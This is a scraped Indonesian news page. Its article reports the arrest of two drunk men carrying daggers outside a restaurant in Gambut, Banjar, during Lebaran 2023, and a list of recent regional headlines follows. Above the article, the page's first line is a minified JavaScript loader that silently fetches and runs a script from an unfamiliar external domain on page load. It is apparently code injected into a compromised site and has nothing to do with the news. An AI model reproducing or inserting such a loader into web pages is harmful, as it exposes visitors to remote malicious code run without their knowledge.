(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Lebaran Bawa Sajam, Dua Lelaki Mabuk Bikin Ribut di Depan RM Tenda Biru Gambut


KANALKALIMANTAN.COM, MARTAPURA – Masih dalam suasana Lebaran, warga Jalan A Yani KM 14 Kecamatan Gambut, Kabupaten Banjar, dibuat geger lantaran ada dua lelaki membawa senjata tajam (Sajam), tepat di areal parkir rumah makan RM Tenda Biru.

Kapolsek Gambut Iptu H Ruspandi membeberkan, keributan terjadi sekitar pukul 14.30 Wita, Minggu (23/4/2023) siang.

Saat itu MN alias Sai (35) dan R alias Pateng (37) berdiri di depan rumah makan tersebut dengan membawa masing-masing sebilah sajam jenis belati.

“Sejumlah warga kemudian dibuat ribut oleh pelaku dan kemudian warga melaporkan kejadian kepada anggota yang berjaga di Pos Pelayanan Lebaran di Km 14 Gambut,” beber Kapolsek Gambut Iptu H Ruspandi, Senin (24/4/2023).

Baca juga: Diburu Polres Tapin, Ini Identitas 6 Tahanan yang Kabur Jebol Plafon

Kemudian anggota pos pun langsung mendatangi lokasi keributan dan melakukan pemeriksaan, serta penggeledahan terhadap badan kedua orang yang bikin keributan tersebut.

Alhasil didapati dua pelaku saat itu tengah dalam kondisi di bawah pengaruh minuman beralkohol alias mabuk.

“Turut ditemukan pada masing-masing pelaku yaitu sebilah sajam yang selipkan di depan perut sebelah kiri,” sambungnya.

Setelah melakukan pemeriksaan diketahui, MN alias Sai merupakan warga asal Kecamatan Landasan Ulin Utara, Kota Banjarbaru yang berprofesi sebagai seorang buruh harian.

“MN membawa sajam jenis herder bergagang kayu warna hitam dengan panjang 27 cm dan kumpangnya dari kulit warna cokelat,” jelasnya.

Baca juga: Dirut PLN Pastikan Keandalan Listrik dan Kecukupan Pasokan Selama Liburan Idulfitri

Sedangkan R merupakan warga Kelurahan Gambut, Kabupaten Banjar membawa sajam jenis belati herder bergagang kayu warna cokelat dengan panjang 30 cm dan kumpangnya dari kulit warna cokelat.

Dari kejadian ini kedua pelaku dikenakan pasal 2 ayat (1) Undang-Undang Darurat RI No. 12 Tahun 1951 dengan ancaman hukuman 10 tahun kurungan penjara.

“Akan dihukum dengan ancaman 10 tahun penjara karena secara tanpa hak, membawa, menyimpan, memiliki dan atau menguasai senjata tajam, tanpa di dilengkapi surat izin,” tutup Kapolsek Gambut. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.